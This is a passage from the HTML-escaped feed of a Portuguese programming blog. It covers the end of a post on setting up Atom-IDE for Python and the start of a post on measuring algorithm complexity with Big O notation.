    style=&quot;padding-bottom: 64.0625%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAClUlEQVQ4y4WT207bMBjH+xS73SPsCartYlcVG5SpldgV4mYPgqJtjKs9ELsFxqQOBvRE2yTkZCd2nLQ5OGm+fTYwkDZpkX6y5dh//7+DW9QavSaRdxhFbD/LcoMzZkQhNVgUGXEcG74fGLZ9a5imaVAaGoxxhOlRiMQIAqLYF0IczufzFy3n1vqa5RmIJIEsy4AzCjRwIQwpJOlSry2XS42aK4qiwP8R+J6HYwhoBjiPYTD4+aFlzRefyrIERngeBFzScCkFT2WWxoiQRZ7Jqqo0D9+6rnFfJK8nc+n7RJKA4FkCx8cnuy3Lsg6UYJYsK4GLJAgh9AkIdJqlCeSrVDsqSwlqnwLFgaGj8ykBy8GICKkIoXB6+n1POTwo8YCIkiqiHByPo1sPROhCygis0hgFc0BjfwRrFKQY5sT0UIwCutOCJyenKGjeOaxLWa2oyh/iBxDHHDBQFKq02ANPBQczBxy1n9AngvchY1EqHscQC4HFSHURUixKqsdUFyPPc02tQ+ZwPnbgcuqB67iVyuFdyPeCPOJViA4VCYqqvD3lQUzNdQ4Zh4vrMVwNxzCfLx4FR6PxAfYc+IRVJuEQswhiHkGCbaScKZIk1W1C8TLsN3S/UnmD4eQGPEwPrj+GfDObffZdD7wgrEJRNGWRN0WRNei6wfwhUoOuNGpe13XDOW9Gw1HjOG6DYlJdoAVt2/6ibmxktRYMQ8Ww1usa/vcp51fXQ8BXpNzXqrnPzn7stS4vfn00pzewmJn5bGFL215I17UlPjOE/oVyg69DLkxTDs4v5XA4kpPJNJ+ixtHRt91Wd2vreX9r+9WbjW67g2xubrS73bftXq/f7vf/jfrX6/fa73d2cN5rb2+/U2svO53Os9/PK4qOuMXNNwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Atom-IDE com Python&amp;quot;&quot;
        title=&quot;Atom-IDE com Python&quot;
        src=&quot;/static/b38a64af74bbf2a5900251605e90d3d8/6af66/ide-python-ui.png&quot;
        srcset=&quot;/static/b38a64af74bbf2a5900251605e90d3d8/8514f/ide-python-ui.png 192w,
/static/b38a64af74bbf2a5900251605e90d3d8/804b2/ide-python-ui.png 384w,
/static/b38a64af74bbf2a5900251605e90d3d8/6af66/ide-python-ui.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Atom-IDE com Python&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Assim como outros &lt;em&gt;plugins&lt;/em&gt; dependentes do mesmo &lt;em&gt;framework&lt;/em&gt;, ele utiliza &lt;a href=&quot;https://github.com/Microsoft/language-server-protocol&quot; title=&quot;Defines a common protocol for language servers&quot;&gt;&lt;em&gt;Language Server Protocol&lt;/em&gt;&lt;/a&gt;
para habilitar recursos como &lt;em&gt;completion&lt;/em&gt; e &lt;em&gt;refactoring&lt;/em&gt;. No caso do &lt;em&gt;Python&lt;/em&gt;, isso é
possível através do &lt;a href=&quot;https://github.com/palantir/python-language-server&quot; title=&quot;An implementation of the Language Server Protocol for Python&quot;&gt;&lt;em&gt;python-language-server&lt;/em&gt;&lt;/a&gt;. Logo, o primeiro passo
é instalar a dependência em sua máquina:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install python-language-server[all]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;[all]&lt;/code&gt;, você terá disponível &lt;em&gt;completions&lt;/em&gt; e &lt;em&gt;renaming&lt;/em&gt; (através do
&lt;a href=&quot;https://github.com/python-rope/rope&quot; title=&quot;Repositório do Rope&quot;&gt;&lt;em&gt;Rope&lt;/em&gt;&lt;/a&gt;),
&lt;em&gt;linter&lt;/em&gt; e &lt;em&gt;style checking&lt;/em&gt; (através do &lt;a href=&quot;https://github.com/PyCQA/pyflakes&quot; title=&quot;Repositório do Pyflakes&quot;&gt;&lt;em&gt;Pyflakes&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;https://github.com/PyCQA/mccabe&quot; title=&quot;Repositório do McCabe&quot;&gt;&lt;em&gt;McCabe&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://github.com/PyCQA/pycodestyle&quot; title=&quot;Repositório do pycodestyle&quot;&gt;&lt;em&gt;pycodestyle&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;https://github.com/PyCQA/pydocstyle&quot; title=&quot;Repositório do pydocstyle&quot;&gt;&lt;em&gt;pydocstyle&lt;/em&gt;&lt;/a&gt;) e
&lt;em&gt;code formatting&lt;/em&gt; (através de &lt;a href=&quot;https://github.com/hhatto/autopep8&quot; title=&quot;Repositório do autopep8&quot;&gt;&lt;em&gt;autopep8&lt;/em&gt;&lt;/a&gt;
ou &lt;a href=&quot;https://github.com/google/yapf&quot; title=&quot;Repositório do YAPF&quot;&gt;&lt;em&gt;YAPF&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Na sequência, basta instalar os &lt;em&gt;plugins&lt;/em&gt; do &lt;em&gt;Atom&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ apm install atom-ide-ui
$ apm install ide-python&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Você já pode começar a usar o &lt;em&gt;Atom-IDE&lt;/em&gt; para escrever código &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mas para deixar o seu ambiente ótimo, sugiro a instalação do &lt;a href=&quot;https://atom.io/packages/atomic-management&quot; title=&quot;Per-project Atom config&quot;&gt;&lt;em&gt;atom-management&lt;/em&gt;&lt;/a&gt;. Com ele, você poderá
configurar o &lt;em&gt;Python&lt;/em&gt; de acordo com o &lt;em&gt;virtualenv&lt;/em&gt; de cada projeto que esteja trabalhando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ apm install atomic-management&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora basta criar o arquivo de configuração para cada projeto. Aqui está um exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;coffeescript&quot;&gt;&lt;pre class=&quot;language-coffeescript&quot;&gt;&lt;code class=&quot;language-coffeescript&quot;&gt;&lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;ide-python&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;pylsPlugins&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;autopep8&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;false&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;yapf&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;false&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;python&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/Users/klaus/.local/share/virtualenvs/yatla-kWU5r6Dm/bin/python&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Acima, eu propositalmente desligo o &lt;code class=&quot;language-text&quot;&gt;autopep8&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;yapf&lt;/code&gt;, uma vez que para este
projeto eu estou utilizando &lt;a href=&quot;https://github.com/rupert/pyls-black&quot; title=&quot;Black plugin for the Python Language Server&quot;&gt;&lt;em&gt;Black&lt;/em&gt;&lt;/a&gt;. Já na chave &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt;, eu explicitamente digo qual instalação
do &lt;em&gt;Python&lt;/em&gt; pretendo utilizar.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Reforço a opinião do começo desse &lt;em&gt;post&lt;/em&gt;: Recomendo.&lt;/p&gt;
&lt;p&gt;É um editor muito amigável e confortável de usar. Os &lt;em&gt;key bidings&lt;/em&gt; do &lt;em&gt;Vim&lt;/em&gt; são
um &lt;em&gt;plus&lt;/em&gt;, e além disso a documentação para criação de &lt;em&gt;plugins&lt;/em&gt;
e configurações diversas é impressionante. O fato de não se render à componentização é
outro fator positivo, assim como a riqueza de pacotes e a grande comunidade em sua volta.&lt;/p&gt;
&lt;p&gt;Mas se você é um &lt;em&gt;developer&lt;/em&gt; que gosta de seguir o &lt;em&gt;hype&lt;/em&gt;, eu diria que o &lt;em&gt;Visual
Studio Code&lt;/em&gt; é uma opção mais atraente. Na dúvida, teste os dois e nos conte suas
conclusões nos comentários abaixo.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.atom.io/2017/09/12/announcing-atom-ide.html&quot;&gt;Atom: Introducing Atom-IDE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.atom.io/2018/12/12/facebook-retires-nuclide-extension.html&quot;&gt;Atom: Facebook retires Nuclide extension&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=18507817&quot;&gt;Hacker News: Is Atom now dead in the water?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.infoq.com/br/news/2018/12/the-rise-vscode&quot;&gt;InfoQ: A crescente adoção do Visual Studio Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Atom_(text_editor)&quot;&gt;Wikipedia: Atom (text editor)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Algoritmos: Como medir?]]></title><description><![CDATA[No post anterior,
introduzimos o conceito de Análise Assintótica e falamos brevemente sobre
o Big O Notation. Nesse post, vamos pincelar…]]></description><link>https://klauslaube.com.br/2018/12/09/algoritmos-como-medir.html</link><guid isPermaLink="false">https://klauslaube.com.br/2018/12/09/algoritmos-como-medir.html</guid><pubDate>Sun, 09 Dec 2018 21:30:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2018/11/09/analise-assintotica.html&quot; title=&quot;Leia mais sobre Análise Assintótica&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;,
introduzimos o conceito de Análise Assintótica e falamos brevemente sobre
o &lt;em&gt;Big O Notation&lt;/em&gt;. Nesse &lt;em&gt;post&lt;/em&gt;, vamos pincelar sobre como mensurar um algoritmo
utilizando a notação.&lt;/p&gt;
&lt;p&gt;Mas antes de mais nada é preciso reforçar: O &lt;em&gt;Big O&lt;/em&gt; é apenas uma das métricas
(número de passos proporcional ao tamanho do seu &lt;em&gt;input&lt;/em&gt;) que pode te levar à
conclusão de que o seu algoritmo é eficiente ou não. Em momento de implementação,
outras métricas como memória, tempo, acesso a recursos e consumo de energia podem
impactar nesse resultado.&lt;/p&gt;
&lt;p&gt;Para tanto, é comum termos duas formas distintas de análise:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Empírica:&lt;/strong&gt; Tempo de execução do código, implementado na linguagem de programação de sua escolha.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Analítica:&lt;/strong&gt; Não leva em consideração o ambiente no qual o seu algoritmo irá executar, representando através de uma ordem de grandeza o tempo de execução do algoritmo.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vamos focar no método analítico, claro. Se você está interessado no método
empírico, ferramentas de &lt;em&gt;profiling&lt;/em&gt; podem te dar ótimas dicas sobre a performance
da sua solução.&lt;/p&gt;
&lt;h2&gt;Tempo x Espaço&lt;/h2&gt;
&lt;p&gt;É possível utilizar o &lt;em&gt;Big O&lt;/em&gt; para medirmos quanto de espaço que um determinado
algoritmo ocupa. Na &lt;em&gt;Wikipedia&lt;/em&gt; existe inúmeros &lt;em&gt;wikis&lt;/em&gt; sobre algoritmos famosos,
e grande parte deles apresenta a seguinte estrutura:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 331px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/62eb53a45bf4c117b6f46315dddc2398/62452/wikipedia-merge-sort.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 155.20833333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAfCAYAAADnTu3OAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEQklEQVRIx8VWa3eiSBDN//8Xk8fM5Dfsp5mzmcRE8YECgrwUBBUVH7xEvVNdaDLJTvJhd87ZPqdoLLovVbduF17gt+PI11no4/Gxhl63C3c4RLfbQxRF+GhclGWJvNih+MXyosB+f0Dgj/D33Q98+/YdHbmH2mMdYTjFjvcUb/bs2H+RZjlt3r+xA8py/24U5T/WV3vSNMNFRoDvjuMRh8OB7Uj3R5qF770hsDhCsYY3/Ad7DXgqxPGDt7+fxP8B+AdTxp/kEP8q5Q+rLIaQiOM4qNfraDQaaNAs0SxJUmXCdzLxu0mWZRnvTX8HWNAJqNVquLm5wZfPn3F9fc33l58+4erqCleXl7gku729xdevX/h+sVicALMz4OtUkyThRavVim25XFZGPjHHcXzyxfQ8hji+zymLSxBMYFoOeooGVdPhuEO4rgtN68Oyh/D9McaBj8HAhE1+27JgOi5cosZxPRgDC+7IR5KeUhZAD/cPxEsTiqLAInBN1XD/4wHNdgemOUC704PWN1CXmsRdi/aoPHd7KvPZavcIkFIWl22S0iaTnaqmQdf7DNSjxWKjrutQVRX9/gAq/e52ZHpBh3wGASoUoYnNNq0As7zAgviQqef1FJ3nFoFJzTY6nS6nrRCISWl2CKhLbUylvthqy/RMZ2BNNzCbL6oqiz42DkIoFIHnBfA9HyPfx2Q6h207FLnFUbRaMnRjQNyOMBp58MchycvFcDQiXkcYU59M87xKeXfqfSVpsNy/mBir9Za463O02zT/pZ+/9PYDXfZ04ZS32wT3d/dUgBo7zwtE5IIO8bLDCcEdx2gpIVRjiroc4Ekeo6VRZBl1711ZVXmbbFn9MvEiyO0TZ7phIisKbunFrvokCJtEWxgO6W+VYZMUZDmSrKg+IQSYVoAppLaCrqpTaiZLSNEMLFbJaVPBEQjwYLKEZk6x2qTIiS8Bcv6ePAOu6WHbiNEexFCsGHVtga61wlNvSjbBXYtStBdEx4GK5sMyqyyGJOT9iTsGPgMK/dy1A7T7UzTVKVr6DJKYtRkaCs39iKLN+EMUzZcIqJpRNMd0FiGczuiUhSyXoixfhO0Ga3gTsnCNIZk/3SAkvkah8G+YK/FVG3ni+NksJZeOZ98w+PQkacrFY8D0+at3fMcOnI7YIACHQ49BdRKzaQ1Zv7rhEI9lJexzhLa/4lmY5cU8O+SbzJNnQNEkbNslQQ8ZOCaNzumECK0yh9mJQ4n4epAnqMkh6sRfR48gDyLm0SFgUWEB6HljStfmruMTd8Vuz35hr6pc604YVDZmqFMh2lSYu06IeJNxylm+438SLkVlWjY1jR70wYAl5o8nfKqEdKoqE+AjSeS7NMZfDx7qBH7WnwDKT5IQm8TZbjQkPD5JWG+2JP7qNJ1lU/VDuixJxIs4wZwsXqfMRUbCFbNYJEzcr9YbLOMVm+Be+N6u+QmEJCjAu1bxZwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de card do Wikipedia mostrando os tempos de um algoritmo&amp;quot;&quot;
        title=&quot;Exemplo de card do Wikipedia mostrando os tempos de um algoritmo (wikipedia)&quot;
        src=&quot;/static/62eb53a45bf4c117b6f46315dddc2398/62452/wikipedia-merge-sort.png&quot;
        srcset=&quot;/static/62eb53a45bf4c117b6f46315dddc2398/8514f/wikipedia-merge-sort.png 192w,
/static/62eb53a45bf4c117b6f46315dddc2398/62452/wikipedia-merge-sort.png 331w&quot;
        sizes=&quot;(max-width: 331px) 100vw, 331px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de card do Wikipedia mostrando os tempos de um algoritmo (wikipedia)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Merge sort&lt;/em&gt;, um dos mais famosos algoritmos de ordenação, além de ter
uma performance média de &lt;code class=&quot;language-text&quot;&gt;O (n log n)&lt;/code&gt;, em seu pior cenário ocupa
&lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt; de espaço. Onde &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt; corresponde ao tamanho da entrada do algoritmo.
Logo, se você passar um &lt;em&gt;array&lt;/em&gt; de 10 posições para o &lt;em&gt;Merge sort&lt;/em&gt; ordenar,
ele ocupará outras 10 posições ao fim do processo.&lt;/p&gt;
&lt;p&gt;Em contrapartida, o &lt;em&gt;Bubble sort&lt;/em&gt;, também famoso mas nada performático
(&lt;code class=&quot;language-text&quot;&gt;O(n²)&lt;/code&gt;), ocupa &lt;code class=&quot;language-text&quot;&gt;O(1)&lt;/code&gt; (não necessitando de novas posições na memória
para fazer a ordenação).&lt;/p&gt;
&lt;p&gt;Se você estiver projetando a sua solução para um ambiente limitado,
será necessário levar em consideração o espaço, mas é muito comum nos tempos
atuais &lt;a href=&quot;/2012/05/14/o-cache-e-o-http.html&quot; title=&quot;O Cache e o HTTP&quot;&gt;sacrificarmos memória em prol do tempo de execução&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Quanto mais próximo de linear, melhor&lt;/h2&gt;
&lt;p&gt;Voltando o foco ao tempo de execução, é possível categorizarmos um bom algoritmo
quando ele é o mais próximo possível de linear (se ele for sublinear ou constante,
melhor ainda). Ou seja:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Se ordernar &lt;strong&gt;10 items&lt;/strong&gt; leva &lt;strong&gt;1 milissegundo&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;Ordenar &lt;strong&gt;20 items&lt;/strong&gt; deveria levar &lt;strong&gt;2 milissegundos&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;E ordenar &lt;strong&gt;100 items&lt;/strong&gt; deveria levar &lt;strong&gt;10 milissegundos&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esse comportamento é linear, resultando em &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt;. Mas o comportamento abaixo
não é o dos melhores:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Se ordenar &lt;strong&gt;10 items&lt;/strong&gt; leva &lt;strong&gt;1 milissegundo&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;E ordenar &lt;strong&gt;20 items&lt;/strong&gt; leva &lt;strong&gt;4 milissegundos&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;E ordenar &lt;strong&gt;100 items&lt;/strong&gt; leva &lt;strong&gt;100 milissegundos&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;Temos uma progressão quadrática, resultando em &lt;code class=&quot;language-text&quot;&gt;O(n²)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Algo não tão desejável em se tratando de algoritmos.&lt;/p&gt;
&lt;h2&gt;Mais um pouquinho de teoria&lt;/h2&gt;
&lt;p&gt;Vamos gastar um pouco de teoria aqui para definir &lt;em&gt;Big O&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Se um tempo de execução é O(f(n)), então para um n suficientemente grande,
o tempo de execução é no máximo k*f(n) para alguma constante k.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 399px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/24b310c5f126c92446525b33d67bd13c/a307d/big-o.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 59.895833333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABcSAAAXEgFnn9JSAAABHUlEQVQoz42S3W6DMAyFef9X5KZC3ExrqRDNr+2c2dkKKE23WbIwiflyfMhQSoGIwMLqczzf23ULIoFzDrfbDSmlvW8gIoQQGsABPENTEnhvIEHwrN9FLMsCY/wBLC/AEKQm0aE256SZq8IY43tgW4uUqmzfUwh7j2maMI4jLpcL5nmu1r0Az6qYC9yDdUSunhXtE+chqgYdXy1+BYaoI/KhSn76zlO0+XZkVpDbMop5ExNER+x529YDMe9AXQIlgnekoxJocyh6oKnrXaHedaoK7Q+p7/D3B9bPFdlApkgYpR7TH6+ncmAFbsuqsAAKpOC+2e+iVTkwC64fdyRVRGzjuqr4eb96aXvWY/mi0Arz0Zpyyt/Pf+QT3gK/APKmsulklXUPAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;f(n) e Big O&amp;quot;&quot;
        title=&quot;f(n) e Big O (khanacademy.org)&quot;
        src=&quot;/static/24b310c5f126c92446525b33d67bd13c/a307d/big-o.png&quot;
        srcset=&quot;/static/24b310c5f126c92446525b33d67bd13c/8514f/big-o.png 192w,
/static/24b310c5f126c92446525b33d67bd13c/804b2/big-o.png 384w,
/static/24b310c5f126c92446525b33d67bd13c/a307d/big-o.png 399w&quot;
        sizes=&quot;(max-width: 399px) 100vw, 399px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;f(n) e Big O (khanacademy.org)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Dizemos que o tempo de execução é &lt;code class=&quot;language-text&quot;&gt;big-O de f(n)&lt;/code&gt; ou só &lt;code class=&quot;language-text&quot;&gt;O de f(n)&lt;/code&gt;. Com
isso informamos limites assintóticos superiores, ou seja, que no pior cenário
o tempo de execução cresce de uma maneira até atingir determinado limite, mas
poderia crescer mais devagar. Não podemos desconsiderar que o &lt;em&gt;input&lt;/em&gt; tem que ser
suficientemente grande (repare na linha pontilhada). Não é incomum vermos
algoritmos que performem em &lt;code class=&quot;language-text&quot;&gt;O(n log n)&lt;/code&gt; tendo um desempenho ruim com um
conjunto de dados pequeno.&lt;/p&gt;
&lt;h2&gt;Agora sim! Vamos contar&lt;/h2&gt;
&lt;h3&gt;Complexidade constante: O(1)&lt;/h3&gt;
&lt;p&gt;Queremos calcular qual é a complexidade de um algoritmo de troca de valores:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;swap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    temp_num &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; num1
    num1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; num2
    num2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; temp_num&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Podemos, em teoria, contar cada atribuição de valor executada pelo algoritmo
como um “passo”. Teríamos &lt;code class=&quot;language-text&quot;&gt;complexidade = 3&lt;/code&gt;, e esse resultado nunca mudará,
não importa qual valor que passe de entrada. Logo, é possível dizer que a
complexidade desse algoritmo é constante, representada por &lt;code class=&quot;language-text&quot;&gt;O(1)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fc9d05e0486545742dfa74774d00ba18/c08c5/social-network-algorithm.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFA//EABUBAQEAAAAAAAAAAAAAAAAAAAID/9oADAMBAAIQAxAAAAGTWkMlMGZN/wD/xAAdEAABAgcAAAAAAAAAAAAAAAAAAgMBBBIhMTJD/9oACAEBAAEFAtxh5FOTnLCrR//EABURAQEAAAAAAAAAAAAAAAAAAAIQ/9oACAEDAQE/ATP/xAAVEQEBAAAAAAAAAAAAAAAAAAACEP/aAAgBAgEBPwFT/8QAGRAAAgMBAAAAAAAAAAAAAAAAAAEREiEg/9oACAEBAAY/ArM3IJfH/8QAGxABAAMBAAMAAAAAAAAAAAAAAQARIUExYZH/2gAIAQEAAT8h1V92si2aHDzcW7ZbOfRBv2aQn//aAAwDAQACAAMAAAAQpx//xAAWEQEBAQAAAAAAAAAAAAAAAAARAAH/2gAIAQMBAT8QW6Tf/8QAFhEBAQEAAAAAAAAAAAAAAAAAAQAR/9oACAECAQE/EABZf//EABsQAQADAQADAAAAAAAAAAAAAAEAESExUWGx/9oACAEBAAE/EBRndAC/AEvKqDNYzqxfYAo9SvWwlWdLRLFDut/Z/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Eduardo Saverin, personagem do file The Social Network, rabiscando algoritmo na janela&amp;quot;&quot;
        title=&quot;Em um piscar de olhos, você estará rabiscando algoritmos nas janelas da sua casa (blogossus.com)&quot;
        src=&quot;/static/fc9d05e0486545742dfa74774d00ba18/c08c5/social-network-algorithm.jpg&quot;
        srcset=&quot;/static/fc9d05e0486545742dfa74774d00ba18/7809d/social-network-algorithm.jpg 192w,
/static/fc9d05e0486545742dfa74774d00ba18/4ecad/social-network-algorithm.jpg 384w,
/static/fc9d05e0486545742dfa74774d00ba18/c08c5/social-network-algorithm.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
